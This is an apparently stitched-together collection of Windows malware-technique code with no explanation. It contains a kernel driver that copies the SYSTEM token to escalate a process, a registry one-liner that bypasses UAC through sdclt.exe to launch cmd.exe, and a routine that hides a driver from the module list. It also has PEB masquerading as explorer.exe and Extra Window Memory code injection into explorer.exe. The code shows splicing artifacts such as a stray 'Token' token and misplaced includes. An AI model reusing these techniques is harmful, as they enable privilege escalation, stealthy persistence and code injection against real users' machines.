typedef NTSTATUS(WINAPI* PNtDrvCom)(__int64 a1, __int64 a2, unsigned int a3, __int64 a4, __int64 a5);

PNtDrvCom NtUserGetCurrentDpiInfoForWindow = NULL;

BOOL __stdcall DrvCom(
    HANDLE hFile,
    LPCVOID lpBuffer,
    DWORD nNumberOfBytesToWrite,
    LPDWORD lpNumberOfBytesWritten,
    LPOVERLAPPED lpOverlapped)
{

    if (NtUserGetCurrentDpiInfoForWindow)
    {
        //FuncIndex = NtUserGetCurrentDpiInfoForWindow;
        return NtUserGetCurrentDpiInfoForWindow((__int64)lpBuffer, 0, 0, 0, 0);

    }
    else
    {


         NtUserGetCurrentDpiInfoForWindow = (PNtDrvCom)GetProcAddress(GetModuleHandleA("win32u.dll"), ("NtUserDragObject"));

        //memcpy(&NtUserGetCurrentDpiInfoForWindow, (void*)&TempCom[4], 4);
        //FuncIndex = NtUserGetCurrentDpiInfoForWindow;
        return NtUserGetCurrentDpiInfoForWindow((__int64)lpBuffer, 0, 0, 0, 0);
    }

    return 0;
}

BOOL VerifyEmbeddedSignature(LPCWSTR pwszSourceFile)
{
    LONG lStatus;
    DWORD dwLastError;
 
    
    WINTRUST_FILE_INFO FileData;
    memset(&FileData, 0, sizeof(FileData));
    FileData.cbStruct = sizeof(WINTRUST_FILE_INFO);
    FileData.pcwszFilePath = pwszSourceFile;
    FileData.hFile = NULL;
    FileData.pgKnownSubject = NULL;
 
    GUID WVTPolicyGUID = WINTRUST_ACTION_GENERIC_VERIFY_V2;
    WINTRUST_DATA WinTrustData;
 
    
    memset(&WinTrustData, 0, sizeof(WinTrustData));
    WinTrustData.cbStruct = sizeof(WinTrustData);
    WinTrustData.dwUIChoice = WTD_UI_NONE;
    WinTrustData.fdwRevocationChecks = WTD_REVOKE_NONE;
    WinTrustData.dwUnionChoice = WTD_CHOICE_FILE;
    WinTrustData.dwStateAction = WTD_STATEACTION_VERIFY;
    WinTrustData.pFile = &FileData;
    WinTrustData.dwProvFlags = WTD_SAFER_FLAG;
 
    
    lStatus = WinVerifyTrust(NULL, &WVTPolicyGUID, &WinTrustData);
 
    if (lStatus != ERROR_SUCCESS) {
        dwLastError = GetLastError();
        return FALSE;
    }
 
    return TRUE;
}

#include "pch.h"
#include <iostream>
#include <Windows.h>

int main()
{
	PROCESS_INFORMATION pi = {};
	STARTUPINFOEXA si = {};
	SIZE_T attributeSize = 0;
	
	InitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);
	PPROC_THREAD_ATTRIBUTE_LIST attributes = (PPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, attributeSize);
	InitializeProcThreadAttributeList(attributes, 1, 0, &attributeSize);

	DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
	UpdateProcThreadAttribute(attributes, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(DWORD64), NULL, NULL);
	si.lpAttributeList = attributes;

	CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, TRUE, EXTENDED_STARTUPINFO_PRESENT, NULL, NULL, &si.StartupInfo, &pi);
	HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, attributes);

	return 0;
}

NTSTATUS TokenLevelUp(ULONG pid)
{
    ULONG tokenOffost = 0x4b8;
    PEPROCESS privilegedProcess, targetProcess;
    NTSTATUS status = STATUS_SUCCESS;

    // Getting the EProcess of the target and the privileged processes.
    status = PsLookupProcessByProcessId(pid, &targetProcess);
    ULONG64 tokenOffset = GetTokenOffset();

    if (!NT_SUCCESS(status) || tokenOffset == STATUS_UNSUCCESSFUL)
        return status;

    status = PsLookupProcessByProcessId(ULongToHandle(SYSTEM_PROCESS_PID), &privilegedProcess);

    if (!NT_SUCCESS(status))
    {
        ObDereferenceObject(targetProcess);
        return status;
    }

    *(UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset);

    ObDereferenceObject(privilegedProcess);
    ObDereferenceObject(targetProcess);
    return status;Token
}
    
extern "C" NTSTATUS DriverEntry(
_In_ PDRIVER_OBJECT  pDriverObject,
_In_ PUNICODE_STRING pRegistryPath
) 
{
    TokenLevelUp(你的pid);
    return STATUS_UNSUCCESSFUL;
}

reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /d "cmd.exe" /f && START /W sdclt.exe && reg delete "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\App Paths\control.exe" /f

VOID HiddenDriver(PDRIVER_OBJECT DriverObject)
{
    KIRQL irql = KeRaiseIrqlToDpcLevel();
    PLDR_DATA_TABLE_ENTRY prevEntry, nextEntry, modEntry;
    modEntry = (PLDR_DATA_TABLE_ENTRY)DriverObject->DriverSection;

    prevEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Blink;
    nextEntry = (PLDR_DATA_TABLE_ENTRY)modEntry->InLoadOrderLinks.Flink;

    prevEntry->InLoadOrderLinks.Flink = modEntry->InLoadOrderLinks.Flink;
    nextEntry->InLoadOrderLinks.Blink = modEntry->InLoadOrderLinks.Blink;

    modEntry->InLoadOrderLinks.Flink = (PLIST_ENTRY)modEntry;
    modEntry->InLoadOrderLinks.Blink = (PLIST_ENTRY)modEntry;
    KeLowerIrql(irql);
}

VOID NTAPI supxLdrEnumModulesCallback(
	_In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
	_In_ PVOID Context,
	_Inout_ BOOLEAN *StopEnumeration
	)
{
	PPEB Peb = (PPEB)Context;
	
	if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {
		RtlInitUnicodeString(&DataTableEntry->FullDllName, g_lpszExplorer2);
		RtlInitUnicodeString(&DataTableEntry->BaseDllName, L"explorer.exe");
		*StopEnumeration = TRUE;
	}
	else {
		*StopEnumeration = FALSE;
	}
}

__inline struct _PEB * NtCurrentPeb() { return NtCurrentTeb()->ProcessEnvironmentBlock; }

VOID supMasqueradeProcess(
	VOID
	)
{
	NTSTATUS Status;
	PPEB    Peb = NtCurrentPeb();
	SIZE_T  RegionSize;
	
	PVOID g_lpszExplorer = NULL;
	RegionSize = 0x1000;
	
	Status = NtAllocateVirtualMemory(
		NtCurrentProcess(),
		&g_lpszExplorer,
		0,
		&RegionSize,
		MEM_COMMIT | MEM_RESERVE,
		PAGE_READWRITE);
	
	if (NT_SUCCESS(Status)) {	
		RtlEnterCriticalSection(Peb->FastPebLock);
		
		RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, g_lpszExplorer2);
		RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, g_lpszExplorer2);
		RtlInitUnicodeString(&Peb->ProcessParameters->CurrentDirectory.DosPath, L"C:\\windows\\system32");
		
		
		RtlLeaveCriticalSection(Peb->FastPebLock);
		
		LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)Peb);
	}
}

LPVOID ewm(LPVOID payload, DWORD payloadSize){
    LPVOID    cs, ds;
    CTray     ct;
    ULONG_PTR ctp;
    HWND      hw;
    HANDLE    hp;
    DWORD     pid;
    SIZE_T    wr;
    
    // 1. Obtain a handle for the shell tray window
    hw = FindWindow("Shell_TrayWnd", NULL);

    // 2. Obtain a process id for explorer.exe
    GetWindowThreadProcessId(hw, &pid);
    
    // 3. Open explorer.exe
    hp = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    
    // 4. Obtain pointer to the current CTray object
    ctp = GetWindowLongPtr(hw, 0);
    
    // 5. Read address of the current CTray object
    ReadProcessMemory(hp, (LPVOID)ctp, 
        (LPVOID)&ct.vTable, sizeof(ULONG_PTR), &wr);
    
    // 6. Read three addresses from the virtual table
    ReadProcessMemory(hp, (LPVOID)ct.vTable, 
      (LPVOID)&ct.AddRef, sizeof(ULONG_PTR) * 3, &wr);
    
    // 7. Allocate RWX memory for code
    cs = VirtualAllocEx(hp, NULL, payloadSize, 
      MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 8. Copy the code to target process
    WriteProcessMemory(hp, cs, payload, payloadSize, &wr);
    
    // 9. Allocate RW memory for the new CTray object
    ds = VirtualAllocEx(hp, NULL, sizeof(ct), 
      MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    
    // 10. Write the new CTray object to remote memory
    ct.vTable  = (ULONG_PTR)ds + sizeof(ULONG_PTR);
    ct.WndProc = (ULONG_PTR)cs;
    
    WriteProcessMemory(hp, ds, &ct, sizeof(ct), &wr); 

    // 11. Set the new pointer to CTray object
    SetWindowLongPtr(hw, 0, (ULONG_PTR)ds);
    
    // 12. Trigger the payload via a windows message
    PostMessage(hw, WM_CLOSE, 0, 0);
    
    // 13. Restore the original CTray object
    SetWindowLongPtr(hw, 0, ctp);

    // 14. Release memory and close handles
    VirtualFreeEx(hp, cs, 0, MEM_DECOMMIT | MEM_RELEASE);
    VirtualFreeEx(hp, ds, 0, MEM_DECOMMIT | MEM_RELEASE);

    CloseHandle(hp);
}